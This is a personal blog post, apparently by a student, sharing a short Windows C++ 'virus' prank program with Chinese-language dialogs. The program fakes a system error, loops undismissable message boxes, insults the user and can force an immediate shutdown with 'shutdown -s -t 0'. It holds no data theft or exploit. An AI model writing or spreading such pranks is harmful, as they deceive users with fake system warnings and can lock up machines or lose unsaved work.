跳到正文

个人记录

病毒代码c++2.0(鸡助)

ddd2014约 2 分钟
原文
文章信息与版本

文章信息

收录
2025年12月12日
更新
2026年8月6日
篇幅
约 2 分钟

版本

  1. v1当前
C++
#include<bits/stdc++.h>
#include<windows.h>
using namespace std;
int main(){
	if(MessageBox(NULL,"系统出现异常,是否接受来自\"未知\"的消息","系统",MB_YESNO)==IDYES){
		if(MessageBox(NULL,"是否开启弹窗?","未知",MB_YESNO)==IDYES){
	        while(true){
	    	    MessageBox(NULL,"弹窗病毒","未知",MB_OK);
		    }	
	    }
	    else if(MessageBox(NULL,"是否让你的电脑关机?","未知",MB_YESNO)==IDYES){
		    system("shutdown -s -t 0");
	    }
	    else if(MessageBox(NULL,"是否打开洛谷?","未知",MB_YESNO)==IDYES){
	    	system("start https://www.luogu.com.cn/");
		}
		else if(MessageBox(NULL,"你是不是傻子?","未知",MB_YESNO)==IDYES){
	    	system("start https://tse1-mm.cn.bing.net/th/id/OIP-C.hOT0mZXbWVmQQtNZEmOg8AHaE8?rs=1&pid=ImgDetMain");
		}
		else if(MessageBox(NULL,"吔屎啦嘞?","未知",MB_YESNO)==IDYES){
			while(true){
				MessageBox(NULL,"吔屎啦嘞?","未知",MB_YESNO);
			}
		}
		else{
			while(true){
				MessageBox(NULL,"sb","未知",MB_OK);
			}
		}
		
			
	}
	else{
		while(true){
			MessageBox(NULL,"病毒入侵","系统",MB_OK);
		}
	}
    return 0;  
}
原文